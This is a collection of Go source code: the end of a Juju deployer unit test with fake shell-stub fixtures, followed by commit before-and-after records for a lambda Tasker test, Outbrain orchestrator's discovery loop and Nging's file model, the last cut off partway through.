	c.Assert(units, gc.HasLen, 0)
	s.assertUpstartCount(c, 0)

	// Trying to recall any units will fail.
	err = manager.RecallUnit("principal/1")
	c.Assert(err, gc.ErrorMatches, `unit "principal/1" is not deployed`)

	// Simulate some previously deployed units with the old
	// upstart conf filename format (+deployer tags).
	s.injectUnit(c, "jujud-machine-0:unit-mysql-0.conf", "unit-mysql-0")
	s.assertUpstartCount(c, 1)
	s.injectUnit(c, "jujud-unit-wordpress-0:unit-nrpe-0.conf", "unit-nrpe-0")
	s.assertUpstartCount(c, 2)

	// Make sure we can discover them.
	units, err = manager.DeployedUnits()
	c.Assert(err, gc.IsNil)
	c.Assert(units, gc.HasLen, 2)
	sort.Strings(units)
	c.Assert(units, gc.DeepEquals, []string{"mysql/0", "nrpe/0"})

	// Deploy some units.
	err = manager.DeployUnit("principal/1", "some-password")
	c.Assert(err, gc.IsNil)
	s.checkUnitInstalled(c, "principal/1", "some-password")
	s.assertUpstartCount(c, 3)
	err = manager.DeployUnit("subordinate/2", "fake-password")
	c.Assert(err, gc.IsNil)
	s.checkUnitInstalled(c, "subordinate/2", "fake-password")
	s.assertUpstartCount(c, 4)

	// Verify the newly deployed units are also discoverable.
	units, err = manager.DeployedUnits()
	c.Assert(err, gc.IsNil)
	c.Assert(units, gc.HasLen, 4)
	sort.Strings(units)
	c.Assert(units, gc.DeepEquals, []string{"mysql/0", "nrpe/0", "principal/1", "subordinate/2"})

	// Recall all of them - should work ok.
	unitCount := 4
	for _, unitName := range units {
		err = manager.RecallUnit(unitName)
		c.Assert(err, gc.IsNil)
		unitCount--
		s.checkUnitRemoved(c, unitName)
		s.assertUpstartCount(c, unitCount)
	}

	// Verify they're no longer discoverable.
	units, err = manager.DeployedUnits()
	c.Assert(err, gc.IsNil)
	c.Assert(units, gc.HasLen, 0)
}

type SimpleToolsFixture struct {
	dataDir  string
	logDir   string
	initDir  string
	origPath string
	binDir   string
}

var fakeJujud = "#!/bin/bash --norc\n# fake-jujud\nexit 0\n"

func (fix *SimpleToolsFixture) SetUp(c *gc.C, dataDir string) {
	fix.dataDir = dataDir
	fix.initDir = c.MkDir()
	fix.logDir = c.MkDir()
	toolsDir := tools.SharedToolsDir(fix.dataDir, version.Current)
	err := os.MkdirAll(toolsDir, 0755)
	c.Assert(err, gc.IsNil)
	jujudPath := filepath.Join(toolsDir, "jujud")
	err = ioutil.WriteFile(jujudPath, []byte(fakeJujud), 0755)
	c.Assert(err, gc.IsNil)
	toolsPath := filepath.Join(toolsDir, "downloaded-tools.txt")
	testTools := coretools.Tools{Version: version.Current, URL: "http://testing.invalid/tools"}
	data, err := json.Marshal(testTools)
	c.Assert(err, gc.IsNil)
	err = ioutil.WriteFile(toolsPath, data, 0644)
	c.Assert(err, gc.IsNil)
	fix.binDir = c.MkDir()
	fix.origPath = os.Getenv("PATH")
	os.Setenv("PATH", fix.binDir+":"+fix.origPath)
	fix.makeBin(c, "status", `echo "blah stop/waiting"`)
	fix.makeBin(c, "stopped-status", `echo "blah stop/waiting"`)
	fix.makeBin(c, "started-status", `echo "blah start/running, process 666"`)
	fix.makeBin(c, "start", "cp $(which started-status) $(which status)")
	fix.makeBin(c, "stop", "cp $(which stopped-status) $(which status)")
}

func (fix *SimpleToolsFixture) TearDown(c *gc.C) {
	os.Setenv("PATH", fix.origPath)
}

func (fix *SimpleToolsFixture) makeBin(c *gc.C, name, script string) {
	path := filepath.Join(fix.binDir, name)
	err := ioutil.WriteFile(path, []byte("#!/bin/bash --norc\n"+script), 0755)
	c.Assert(err, gc.IsNil)
}

func (fix *SimpleToolsFixture) assertUpstartCount(c *gc.C, count int) {
	fis, err := ioutil.ReadDir(fix.initDir)
	c.Assert(err, gc.IsNil)
	c.Assert(fis, gc.HasLen, count)
}

func (fix *SimpleToolsFixture) getContext(c *gc.C) *deployer.SimpleContext {
	config := agentConfig(names.NewMachineTag("99"), fix.dataDir, fix.logDir)
	return deployer.NewTestSimpleContext(config, fix.initDir, fix.logDir)
}

func (fix *SimpleToolsFixture) getContextForMachine(c *gc.C, machineTag names.Tag) *deployer.SimpleContext {
	config := agentConfig(machineTag, fix.dataDir, fix.logDir)
	return deployer.NewTestSimpleContext(config, fix.initDir, fix.logDir)
}

func (fix *SimpleToolsFixture) paths(tag names.Tag) (confPath, agentDir, toolsDir string) {
	confName := fmt.Sprintf("jujud-%s.conf", tag)
	confPath = filepath.Join(fix.initDir, confName)
	agentDir = agent.Dir(fix.dataDir, tag)
	toolsDir = tools.ToolsDir(fix.dataDir, tag.String())
	return
}

func (fix *SimpleToolsFixture) checkUnitInstalled(c *gc.C, name, password string) {
	tag := names.NewUnitTag(name)
	uconfPath, _, toolsDir := fix.paths(tag)
	uconfData, err := ioutil.ReadFile(uconfPath)
	c.Assert(err, gc.IsNil)
	uconf := string(uconfData)

	regex := regexp.MustCompile("(?m)(?:^\\s)*exec\\s.+$")
	execs := regex.FindAllString(uconf, -1)

	if nil == execs {
		c.Fatalf("no command found in %s:\n%s", uconfPath, uconf)
	} else if 1 > len(execs) {
		c.Fatalf("Test is not built to handle more than one exec line.")
	}

	logPath := filepath.Join(fix.logDir, tag.String()+".log")
	jujudPath := filepath.Join(toolsDir, "jujud")

	for _, pat := range []string{
		"^exec " + jujudPath + " unit ",
		" --unit-name " + name + " ",
		" >> " + logPath + " 2>&1$",
	} {
		match, err := regexp.MatchString(pat, execs[0])
		c.Assert(err, gc.IsNil)
		if !match {
			c.Fatalf("failed to match:\n%s\nin:\n%s", pat, execs[0])
		}
	}

	conf, err := agent.ReadConfig(agent.ConfigPath(fix.dataDir, tag))
	c.Assert(err, gc.IsNil)
	c.Assert(conf.Tag(), gc.Equals, tag)
	c.Assert(conf.DataDir(), gc.Equals, fix.dataDir)

	jujudData, err := ioutil.ReadFile(jujudPath)
	c.Assert(err, gc.IsNil)
	c.Assert(string(jujudData), gc.Equals, fakeJujud)
}

func (fix *SimpleToolsFixture) checkUnitRemoved(c *gc.C, name string) {
	tag := names.NewUnitTag(name)
	confPath, agentDir, toolsDir := fix.paths(tag)
	for _, path := range []string{confPath, agentDir, toolsDir} {
		_, err := ioutil.ReadFile(path)
		if err == nil {
			c.Logf("Warning: %q not removed as expected", path)
		} else {
			c.Assert(err, jc.Satisfies, os.IsNotExist)
		}
	}
}

func (fix *SimpleToolsFixture) injectUnit(c *gc.C, upstartConf, unitTag string) {
	confPath := filepath.Join(fix.initDir, upstartConf)
	err := ioutil.WriteFile(confPath, []byte("#!/bin/bash --norc\necho $0"), 0644)
	c.Assert(err, gc.IsNil)
	toolsDir := filepath.Join(fix.dataDir, "tools", unitTag)
	err = os.MkdirAll(toolsDir, 0755)
	c.Assert(err, gc.IsNil)
}

type mockConfig struct {
	agent.Config
	tag               names.Tag
	datadir           string
	logdir            string
	upgradedToVersion version.Number
	jobs              []params.MachineJob
}

func (mock *mockConfig) Tag() names.Tag {
	return mock.tag
}

func (mock *mockConfig) DataDir() string {
	return mock.datadir
}

func (mock *mockConfig) LogDir() string {
	return mock.logdir
}

func (mock *mockConfig) Jobs() []params.MachineJob {
	return mock.jobs
}

func (mock *mockConfig) UpgradedToVersion() version.Number {
	return mock.upgradedToVersion
}

func (mock *mockConfig) WriteUpgradedToVersion(newVersion version.Number) error {
	mock.upgradedToVersion = newVersion
	return nil
}

func (mock *mockConfig) CACert() string {
	return testing.CACert
}

func (mock *mockConfig) Value(_ string) string {
	return ""
}

func agentConfig(tag names.Tag, datadir, logdir string) agent.Config {
	return &mockConfig{tag: tag, datadir: datadir, logdir: logdir}
}
<|endoftext|>


<commit_before>package lambda

import (
	"io"
	"net/url"
	"testing"

	. "github.com/smartystreets/goconvey/convey"
)

func TestTasker(t *testing.T) {
	pr, pw := io.Pipe()
	TaskerIn = pw
	TaskerOut = pr

	testHandler := func(ctx *Context, evt *Event, params url.Values) {}
	// testParams := url.Values{}
	testTasker := NewTasker()
	Convey("NewTasker", t, func() {
		Convey("Should create a new Tasker", func() {
			So(testTasker, ShouldNotBeNil)
		})
	})

	testTasker.Handle("taskName", testHandler)

	testTasker.Listen()
}
<commit_msg>comment out broken tests for now, figure out how to test the thing<commit_after>package lambda

//. "github.com/smartystreets/goconvey/convey"

// func TestTasker(t *testing.T) {
// 	pr, pw := io.Pipe()
// 	TaskerIn = pw
// 	TaskerOut = pr

// 	testHandler := func(ctx *Context, evt *Event, params url.Values) {}
// 	// testParams := url.Values{}
// 	testTasker := NewTasker()
// 	Convey("NewTasker", t, func() {
// 		Convey("Should create a new Tasker", func() {
// 			So(testTasker, ShouldNotBeNil)
// 		})
// 	})

// 	testTasker.Handle("taskName", testHandler)

// 	testTasker.Listen()
// }
<|endoftext|>


<commit_before>/*
   Copyright 2014 Outbrain Inc.

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.
*/

package orchestrator

import (
	"fmt"
	"github.com/outbrain/golib/log"
	"github.com/outbrain/orchestrator/agent"
	"github.com/outbrain/orchestrator/config"
	"github.com/outbrain/orchestrator/inst"
	"time"
)

const (
	maxConcurrency = 5
)

// discoveryInstanceKeys is a channel of instanceKey-s that were requested for discovery.
// It can be continuously updated as discovery process progresses.
var discoveryInstanceKeys chan inst.InstanceKey = make(chan inst.InstanceKey, maxConcurrency)

// handleDiscoveryRequests iterates the discoveryInstanceKeys channel and calls upon
// instance discovery per entry.
func handleDiscoveryRequests(pendingTokens chan bool, completedTokens chan bool) {
	for instanceKey := range discoveryInstanceKeys {
		AccountedDiscoverInstance(instanceKey, pendingTokens, completedTokens)
	}
}

// AccountedDiscoverInstance will call upon DiscoverInstance and will keep track of
// discovery tokens such that management of multiple discoveries can figure out
// whether all instances in a topology are accounted for.
func AccountedDiscoverInstance(instanceKey inst.InstanceKey, pendingTokens chan bool, completedTokens chan bool) {
	if pendingTokens != nil {
		pendingTokens <- true
	}
	go func() {
		DiscoverInstance(instanceKey)
		if completedTokens != nil {
			completedTokens <- true
		}
	}()
}

// DiscoverInstance will attempt discovering an instance (unless it is already up to date) and will
// list down its master and slaves (if any) for further discovery.
func DiscoverInstance(instanceKey inst.InstanceKey) {
	instanceKey.Formalize()
	if !instanceKey.IsValid() {
		return
	}

	instance, found, err := inst.ReadInstance(&instanceKey)

	if found && instance.IsUpToDate && instance.IsLastCheckValid {
		// we've already discovered this one. Skip!
		goto Cleanup
	}
	// First we've ever heard of this instance. Continue investigation:
	instance, err = inst.ReadTopologyInstance(&instanceKey)
	// panic can occur (IO stuff). Therefore it may happen
	// that instance is nil. Check it.
	if err != nil || instance == nil {
		log.Warningf("instance is nil in DiscoverInstance. key=%+v, error=%+v", instanceKey, err)
		goto Cleanup
	}

	fmt.Printf("host: %+v, master: %+v\n", instance.Key, instance.MasterKey)

	// Investigate slaves:
	for _, slaveKey := range instance.SlaveHosts.GetInstanceKeys() {
		discoveryInstanceKeys <- slaveKey
	}
	// Investigate master:
	discoveryInstanceKeys <- instance.MasterKey

Cleanup:
}

// Start discovery begins a one time asynchronuous discovery process for the given
// instance and all of its topology connected instances.
// That is, the instance will be investigated for master and slaves, and the routines will follow on
// each and every such found master/slave.
// In essense, assuming all slaves in a replication topology are running, and given a single instance
// in such topology, this function will detect the entire topology.
func StartDiscovery(instanceKey inst.InstanceKey) {
	log.Infof("Starting discovery at %+v", instanceKey)
	pendingTokens := make(chan bool, maxConcurrency)
	completedTokens := make(chan bool, maxConcurrency)

	AccountedDiscoverInstance(instanceKey, pendingTokens, completedTokens)
	go handleDiscoveryRequests(pendingTokens, completedTokens)

	// Block until all are complete
	for {
		select {
		case <-pendingTokens:
			<-completedTokens
		default:
			inst.AuditOperation("start-discovery", &instanceKey, "")
			return
		}
	}
}

// ContinuousDiscovery starts an asynchronuous infinite discovery process where instances are
// periodically investigated and their status captured, and long since unseen instances are
// purged and forgotten.
func ContinuousDiscovery() {
	log.Infof("Starting continuous discovery")
	go handleDiscoveryRequests(nil, nil)
	tick := time.Tick(time.Duration(config.Config.DiscoveryPollSeconds) * time.Second)
	forgetUnseenTick := time.Tick(time.Hour)
	for _ = range tick {
		instanceKeys, _ := inst.ReadOutdatedInstanceKeys()
		log.Debugf("outdated keys: %+v", instanceKeys)
		for _, instanceKey := range instanceKeys {
			discoveryInstanceKeys <- instanceKey
		}
		// See if we should also forget instances (lower frequency)
		select {
		case <-forgetUnseenTick:
			inst.ForgetLongUnseenInstances()
		default:
		}
	}
}

func pollAgent(hostname string) error {
	polledAgent, err := agent.GetAgent(hostname)
	agent.UpdateAgentLastChecked(hostname)

	if err != nil {
		return log.Errore(err)
	}

	err = agent.UpdateAgentInfo(hostname, polledAgent)
	if err != nil {
		return log.Errore(err)
	}

	return nil
}

// ContinuousAgentsPoll starts an asynchronuous infinite process where agents are
// periodically investigated and their status captured, and long since unseen agents are
// purged and forgotten.
func ContinuousAgentsPoll() {
	log.Infof("Starting continuous agents poll")

	go discoverSeededAgents()

	tick := time.Tick(time.Duration(config.Config.DiscoveryPollSeconds) * time.Second)
	forgetUnseenTick := time.Tick(time.Hour)
	for _ = range tick {
		agentsHosts, _ := agent.ReadOutdatedAgentsHosts()
		log.Debugf("outdated agents hosts: %+v", agentsHosts)
		for _, hostname := range agentsHosts {
			go pollAgent(hostname)
		}
		// See if we should also forget agents (lower frequency)
		select {
		case <-forgetUnseenTick:
			agent.ForgetLongUnseenAgents()
			agent.FailStaleSeeds()
		default:
		}
	}
}

func discoverSeededAgents() {
	for seededAgent := range agent.SeededAgents {
		instanceKey := inst.InstanceKey{Hostname: seededAgent.Hostname, Port: int(seededAgent.MySQLPort)}
		go StartDiscovery(instanceKey)
	}
}
<commit_msg>Activating serialized/centralized database writes on continuous discovery<commit_after>/*
   Copyright 2014 Outbrain Inc.

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.
*/

package orchestrator

import (
	"fmt"
	"github.com/outbrain/golib/log"
	"github.com/outbrain/orchestrator/agent"
	"github.com/outbrain/orchestrator/config"
	"github.com/outbrain/orchestrator/inst"
	"time"
)

const (
	maxConcurrency = 5
)

// discoveryInstanceKeys is a channel of instanceKey-s that were requested for discovery.
// It can be continuously updated as discovery process progresses.
var discoveryInstanceKeys chan inst.InstanceKey = make(chan inst.InstanceKey, maxConcurrency)

// handleDiscoveryRequests iterates the discoveryInstanceKeys channel and calls upon
// instance discovery per entry.
func handleDiscoveryRequests(pendingTokens chan bool, completedTokens chan bool) {
	for instanceKey := range discoveryInstanceKeys {
		AccountedDiscoverInstance(instanceKey, pendingTokens, completedTokens)
	}
}

// AccountedDiscoverInstance will call upon DiscoverInstance and will keep track of
// discovery tokens such that management of multiple discoveries can figure out
// whether all instances in a topology are accounted for.
func AccountedDiscoverInstance(instanceKey inst.InstanceKey, pendingTokens chan bool, completedTokens chan bool) {
	if pendingTokens != nil {
		pendingTokens <- true
	}
	go func() {
		DiscoverInstance(instanceKey)
		if completedTokens != nil {
			completedTokens <- true
		}
	}()
}

// DiscoverInstance will attempt discovering an instance (unless it is already up to date) and will
// list down its master and slaves (if any) for further discovery.
func DiscoverInstance(instanceKey inst.InstanceKey) {
	instanceKey.Formalize()
	if !instanceKey.IsValid() {
		return
	}

	instance, found, err := inst.ReadInstance(&instanceKey)

	if found && instance.IsUpToDate && instance.IsLastCheckValid {
		// we've already discovered this one. Skip!
		goto Cleanup
	}
	// First we've ever heard of this instance. Continue investigation:
	instance, err = inst.ReadTopologyInstance(&instanceKey)
	// panic can occur (IO stuff). Therefore it may happen
	// that instance is nil. Check it.
	if err != nil || instance == nil {
		log.Warningf("instance is nil in DiscoverInstance. key=%+v, error=%+v", instanceKey, err)
		goto Cleanup
	}

	fmt.Printf("host: %+v, master: %+v\n", instance.Key, instance.MasterKey)

	// Investigate slaves:
	for _, slaveKey := range instance.SlaveHosts.GetInstanceKeys() {
		discoveryInstanceKeys <- slaveKey
	}
	// Investigate master:
	discoveryInstanceKeys <- instance.MasterKey

Cleanup:
}

// Start discovery begins a one time asynchronuous discovery process for the given
// instance and all of its topology connected instances.
// That is, the instance will be investigated for master and slaves, and the routines will follow on
// each and every such found master/slave.
// In essense, assuming all slaves in a replication topology are running, and given a single instance
// in such topology, this function will detect the entire topology.
func StartDiscovery(instanceKey inst.InstanceKey) {
	log.Infof("Starting discovery at %+v", instanceKey)
	pendingTokens := make(chan bool, maxConcurrency)
	completedTokens := make(chan bool, maxConcurrency)

	AccountedDiscoverInstance(instanceKey, pendingTokens, completedTokens)
	go handleDiscoveryRequests(pendingTokens, completedTokens)

	// Block until all are complete
	for {
		select {
		case <-pendingTokens:
			<-completedTokens
		default:
			inst.AuditOperation("start-discovery", &instanceKey, "")
			return
		}
	}
}

// ContinuousDiscovery starts an asynchronuous infinite discovery process where instances are
// periodically investigated and their status captured, and long since unseen instances are
// purged and forgotten.
func ContinuousDiscovery() {
	log.Infof("Starting continuous discovery")
	inst.SetContinuousDBWrites()
	go handleDiscoveryRequests(nil, nil)
	tick := time.Tick(time.Duration(config.Config.DiscoveryPollSeconds) * time.Second)
	forgetUnseenTick := time.Tick(time.Hour)
	for _ = range tick {
		instanceKeys, _ := inst.ReadOutdatedInstanceKeys()
		log.Debugf("outdated keys: %+v", instanceKeys)
		for _, instanceKey := range instanceKeys {
			discoveryInstanceKeys <- instanceKey
		}
		inst.ForgetExpiredHostnameResolves()
		// See if we should also forget instances (lower frequency)
		select {
		case <-forgetUnseenTick:
			inst.ForgetLongUnseenInstances()
		default:
		}
	}
}

func pollAgent(hostname string) error {
	polledAgent, err := agent.GetAgent(hostname)
	agent.UpdateAgentLastChecked(hostname)

	if err != nil {
		return log.Errore(err)
	}

	err = agent.UpdateAgentInfo(hostname, polledAgent)
	if err != nil {
		return log.Errore(err)
	}

	return nil
}

// ContinuousAgentsPoll starts an asynchronuous infinite process where agents are
// periodically investigated and their status captured, and long since unseen agents are
// purged and forgotten.
func ContinuousAgentsPoll() {
	log.Infof("Starting continuous agents poll")

	go discoverSeededAgents()

	tick := time.Tick(time.Duration(config.Config.DiscoveryPollSeconds) * time.Second)
	forgetUnseenTick := time.Tick(time.Hour)
	for _ = range tick {
		agentsHosts, _ := agent.ReadOutdatedAgentsHosts()
		log.Debugf("outdated agents hosts: %+v", agentsHosts)
		for _, hostname := range agentsHosts {
			go pollAgent(hostname)
		}
		// See if we should also forget agents (lower frequency)
		select {
		case <-forgetUnseenTick:
			agent.ForgetLongUnseenAgents()
			agent.FailStaleSeeds()
		default:
		}
	}
}

func discoverSeededAgents() {
	for seededAgent := range agent.SeededAgents {
		instanceKey := inst.InstanceKey{Hostname: seededAgent.Hostname, Port: int(seededAgent.MySQLPort)}
		go StartDiscovery(instanceKey)
	}
}
<|endoftext|>


<commit_before>/*
   Nging is a toolbox for webmasters
   Copyright (C) 2018-present  Wenhui Shen <swh@admpub.com>

   This program is free software: you can redistribute it and/or modify
   it under the terms of the GNU Affero General Public License as published
   by the Free Software Foundation, either version 3 of the License, or
   (at your option) any later version.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU Affero General Public License for more details.

   You should have received a copy of the GNU Affero General Public License
   along with f program.  If not, see <https://www.gnu.org/licenses/>.
*/

package file

import (
	"io"
	"mime"
	"path/filepath"
	"strings"

	"github.com/admpub/events"
	"github.com/admpub/nging/application/dbschema"
	"github.com/admpub/nging/application/model/base"
	"github.com/admpub/nging/application/registry/upload/table"
	"github.com/coscms/go-imgparse/imgparse"
	uploadClient "github.com/webx-top/client/upload"
	"github.com/webx-top/db"
	"github.com/webx-top/echo"
)

func NewFile(ctx echo.Context) *File {
	return &File{
		File: &dbschema.File{},
		base: base.New(ctx),
	}
}

type File struct {
	*dbschema.File
	base *base.Base
}

func (f *File) NewFile(m *dbschema.File) *File {
	return &File{
		File: m,
		base: f.base,
	}
}

func (f *File) SetTableID(tableID uint64) table.TableInfoStorer {
	f.File.TableId = tableID
	return f
}

func (f *File) SetTableName(table string) table.TableInfoStorer {
	f.File.TableName = table
	return f
}

func (f *File) SetFieldName(field string) table.TableInfoStorer {
	f.File.FieldName = field
	return f
}

func (f *File) SetByUploadResult(result *uploadClient.Result) *File {
	f.Name = result.FileName
	f.SavePath = result.SavePath
	f.SaveName = filepath.Base(f.SavePath)
	f.Ext = filepath.Ext(f.SavePath)
	f.ViewUrl = result.FileURL
	f.Type = result.FileType.String()
	f.Size = uint64(result.FileSize)
	f.Md5 = result.Md5
	return f
}

func (f *File) FillData(reader io.Reader, forceReset bool, schemas ...*dbschema.File) error {
	var m *dbschema.File
	if len(schemas) > 0 {
		m = schemas[0]
	} else {
		m = f.File
	}
	if forceReset || len(m.Mime) == 0 {
		m.Mime = mime.TypeByExtension(m.Ext)
		if len(f.Mime) == 0 {
			f.Mime = echo.MIMEOctetStream
		}
	}
	if m.Type == `image` {
		typ := strings.TrimPrefix(m.Ext, `.`)
		if typ == `jpg` {
			typ = `jpeg`
		}
		width, height, err := imgparse.ParseRes(reader, typ)
		if err != nil {
			return err
		}
		m.Width = uint(width)
		m.Height = uint(height)
		m.Dpi = 0
	}
	return nil
}

func (f *File) Add(reader io.Reader) error {
	if err := f.FillData(reader, false); err != nil {
		return err
	}
	_, err := f.File.Add()
	return err
}

func (f *File) fireDelete() error {
	files := []string{f.SavePath}
	thumbM := NewThumb(f.base.Context)
	cnt, err := thumbM.ListByOffset(nil, nil, 0, -1, db.Cond{`file_id`: f.Id})
	if err != nil {
		return err
	}
	thumbNum := cnt()
	if thumbNum > 0 {
		err = thumbM.Delete(nil, db.Cond{`file_id`: f.Id})
		if err != nil {
			return err
		}
		for _, thumb := range thumbM.Objects() {
			files = append(files, thumb.SavePath)
		}
	}
	err = f.base.Fire(f.OwnerType+`-file-deleted`, events.ModeSync, map[string]interface{}{
		`ctx`:     f.base.Context,
		`data`:    f.File,
		`ownerID`: f.OwnerId,
	})
	if err != nil {
		return err
	}
	err = f.base.Fire(`file-deleted`, events.ModeSync, map[string]interface{}{
		`ctx`:   f.base.Context,
		`data`:  f.File,
		`files`: files,
	})
	return err
}

func (f *File) DeleteByID(id uint64) (err error) {
	err = f.Get(nil, db.Cond{`id`: id})
	if err != nil {
		if err != db.ErrNoMoreRows {
			return err
		}
		return nil
	}
	err = f.Delete(nil, db.Cond{`id`: id})
	if err != nil {
		return err
	}
	return f.fireDelete()
}

func (f *File) GetBySavePath(storerName string, savePath string) (err error) {
	err = f.Get(nil, db.And(
		db.Cond{`storer_name`: storerName},
		db.Cond{`save_path`: savePath},
	))
	return
}

func (f *File) GetByViewURL(storerName string, viewURL string) (err error) {
	err = f.Get(nil, db.And(
		db.Cond{`storer_name`: storerName},
		db.Cond{`view_url`: viewURL},
	))
	return
}

func (f *File) FnGetByMd5() func(r *uploadClient.Result) error {
	fileD := &dbschema.File{}
	return func(r *uploadClient.Result) error {
		fileD.Reset()
		err := fileD.Get(nil, db.Cond{`md5`: r.Md5})
		if err != nil {
			if err == db.ErrNoMoreRows {
				return nil
			}
			return err
		}
		r.SavePath = fileD.SavePath
		r.FileURL = fileD.ViewUrl
		return table.ErrExistsFile
	}
}

func (f *File) DeleteBySavePath(savePath string) (err error) {
	err = f.Get(nil, db.Cond{`save_path`: savePath})
	if err != nil {
		if err != db.ErrNoMoreRows {
			return
		}
		return nil
	}
	err = f.Delete(nil, db.Cond{`id`: f.Id})
	if err != nil {
		return
	}
	return f.fireDelete()
}

func (f *File) UpdateAvatar(project string, ownerType string, ownerID uint64) error {
	err := f.SetFields(nil, echo.H{
		`table_id`:   ownerID,
		`table_name`: ownerType,
		`field_name`: `avatar`,
		`project`:    project,
		`used_times`: 1,
	}, db.Cond{`id`: f.Id})
	if err != nil {
		return err
	}
	err = f.RemoveUnusedAvatar(ownerType, f.Id)
	return err
}

func (f *File) RemoveUnusedAvatar(ownerType string, excludeID uint64) error {
	return f.DeleteBy(db.And(
		db.Cond{`table_id`: 0},
		db.Cond{`table_name`: ownerType},
		db.Cond{`field_name`: `avatar`},
		db.Cond{`id`: db.NotEq(excludeID)},
	))
}

func (f *File) CondByOwner(ownerType string, ownerID uint64) db.Compound {
	return db.And(
		db.Cond{`owner_id`: ownerID},
		db.Cond{`owner_type`: ownerType},
	)
}

func (f *File) DeleteBy(cond db.Compound) error {
	size := 500
	cnt, err := f.ListByOffset(nil, nil, 0, size, cond)
	if err != nil {
		return err
	}
	totalRows := cnt()
	var start int64
	for ; start < totalRows; start += int64(size) {
		if start > 0 {
			cnt, err = f.ListByOffset(nil, nil, 0, size, cond)
			if err != nil {
				return err
			}
		}
		for _, fm := range f.Objects() {
			err = f.Delete(nil, db.Cond{`id`: fm.Id})
			if err != nil {
				return err
			}
			err = f.fireDelete()
			if err != nil {
				return err
			}
		}
	}
	return err
}

func (f *File) RemoveAvatar(ownerType string, ownerID int64) error {
	return f.DeleteBy(db.And(
		db.Cond{`table_id`: ownerID},
		db.Cond{`table_name`: ownerType},
		db.Cond{`field_name`: `avatar`},
	))
}
<commit_msg>Update file.go<commit_after>/*
   Nging is a toolbox for webmasters
   Copyright (C) 2018-present  Wenhui Shen <swh@admpub.com>

   This program is free software: you can redistribute it and/or modify
   it under the terms of the GNU Affero General Public License as published
   by the Free Software Foundation, either version 3 of the License, or
   (at your option) any later version.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU Affero General Public License for more details.

   You should have received a copy of the GNU Affero General Public License
   along with f program.  If not, see <https://www.gnu.org/licenses/>.
*/

package file

import (
	"io"
	"mime"
	"path/filepath"
	"strings"

	"github.com/admpub/events"
	"github.com/admpub/nging/application/dbschema"
	"github.com/admpub/nging/application/model/base"
	"github.com/admpub/nging/application/registry/upload/table"
	"github.com/coscms/go-imgparse/imgparse"
	uploadClient "github.com/webx-top/client/upload"
	"github.com/webx-top/db"
	"github.com/webx-top/echo"
)

func NewFile(ctx echo.Context) *File {
	return &File{
		File: &dbschema.File{},
		base: base.New(ctx),
	}
}

type File struct {
	*dbschema.File
	base *base.Base
}

func (f *File) NewFile(m *dbschema.File) *File {
	return &File{
		File: m,
		base: f.base,
	}
}

func (f *File) SetTableID(tableID uint64) table.TableInfoStorer {
	f.File.TableId = tableID
	return f
}

func (f *File) SetTableName(table string) table.TableInfoStorer {
	f.File.TableName = table
	return f
}

func (f *File) SetFieldName(field string) table.TableInfoStorer {
	f.File.FieldName = field
	return f
}

func (f *File) SetByUploadResult(result *uploadClient.Result) *File {
	f.Name = result.FileName
	f.SavePath = result.SavePath
	f.SaveName = filepath.Base(f.SavePath)
	f.Ext = filepath.Ext(f.SavePath)
	f.ViewUrl = result.FileURL
	f.Type = result.FileType.String()
	f.Size = uint64(result.FileSize)
	f.Md5 = result.Md5
	return f
}

func (f *File) FillData(reader io.Reader, forceReset bool, schemas ...*dbschema.File) error {
	var m *dbschema.File
	if len(schemas) > 0 {
		m = schemas[0]
	} else {
		m = f.File
	}
	if forceReset || len(m.Mime) == 0 {
		m.Mime = mime.TypeByExtension(m.Ext)
		if len(f.Mime) == 0 {
			f.Mime = echo.MIMEOctetStream
		}
	}
	if m.Type == `image` {
		typ := strings.TrimPrefix(m.Ext, `.`)
		if typ == `jpg` {
			typ = `jpeg`
		}
		width, height, err := imgparse.ParseRes(reader, typ)
		if err != nil {
			return err
		}
		m.Width = uint(width)
		m.Height = uint(height)
		m.Dpi = 0
	}
	return nil
}

func (f *File) Add(reader io.Reader) error {
	if err := f.FillData(reader, false); err != nil {
		return err
	}
	_, err := f.File.Add()
	return err
}

func (f *File) fireDelete() error {
	files := []string{f.SavePath}
	thumbM := NewThumb(f.base.Context)
	cnt, err := thumbM.ListByOffset(nil, nil, 0, -1, db.Cond{`file_id`: f.Id})
	if err != nil {
		return err
	}
	thumbNum := cnt()
	if thumbNum > 0 {
		err = thumbM.Delete(nil, db.Cond{`file_id`: f.Id})
		if err != nil {
			return err
		}
		for _, thumb := range thumbM.Objects() {
			files = append(files, thumb.SavePath)
		}
	}
	err = f.base.Fire(f.OwnerType+`-file-deleted`, events.ModeSync, map[string]interface{}{
		`ctx`:     f.base.Context,
		`data`:    f.File,
		`ownerID`: f.OwnerId,
	})
	if err != nil {
		return err
	}
	err = f.base.Fire(`file-deleted`, events.ModeSync, map[string]interface{}{
		`ctx`:   f.base.Context,
		`data`:  f.File,
		`files`: files,
	})
	return err
}

func (f *File) DeleteByID(id uint64) (err error) {
	err = f.Get(nil, db.Cond{`id`: id})
	if err != nil {
		if err != db.ErrNoMoreRows {
			return err
		}
		return nil
	}
	err = f.Delete(nil, db.Cond{`id`: id})
	if err != nil {
		return err
	}
	return f.fireDelete()
}

func (f *File) GetBySavePath(storerName string, savePath string) (err error) {
	err = f.Get(nil, db.And(
		db.Cond{`storer_name`: storerName},
		db.Cond{`save_path`: savePath},
	))
	return
}

func (f *File) GetByViewURL(storerName string, viewURL string) (err error) {
	err = f.Get(nil, db.And(
		db.Cond{`storer_name`: storerName},
		db.Cond{`view_url`: viewURL},
	))
	return
}

